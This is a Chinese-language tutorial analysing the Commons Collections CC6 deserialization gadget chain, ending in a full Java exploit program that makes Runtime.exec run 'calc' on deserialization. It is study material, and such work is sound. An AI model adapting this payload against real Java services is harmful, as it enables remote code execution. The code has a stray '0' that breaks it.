CC6

具体调用流程

image-20251112150812330

这里给出ysoserial里的利用链

Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

CC6链分析

image-20251112155956390

从流程图看CC6链前两步与CC1(LazyMap)不同

所以我们从第二步进行分析,看TiedMapEntry.hashCode如何调用LazyMap.get方法

  • 查看TieMapEntry类源码, 发现getValue方法调用.get()方法

image-20251112160513098

继续搜索是否存在调用getValue()的方法,发现hashCode()调用getValue方法

image-20251112161051869

  • 现在我们要找有hashCode且有readObject方法的类当链首

搜索发现HashMap符合要求, 其中hash方法调用key.hashCode

image-20251112162639667

  • 接着查找HashMap中谁调用了hash(), 我们发现其中多个方法都调用了hash方法
  • 任选其一即可, 我这里选择的是remove方法

image-20251112163521683

现在只是理清了链子的调用关系, 需要用反射将lazyMapChainedTransformer链接在一起

连接代码

1
2
3
4
Class<?> c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static org.apache.commons.collections.TransformerUtils.chainedTransformer;

public class CC6Test {

public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");0

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class<?> c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);


Serialize(map2);
Unserialize("ser.bin");
}


public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}

public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();

}

public String toString() {
return "CC6Test{}";
}
}

image-20251112164005792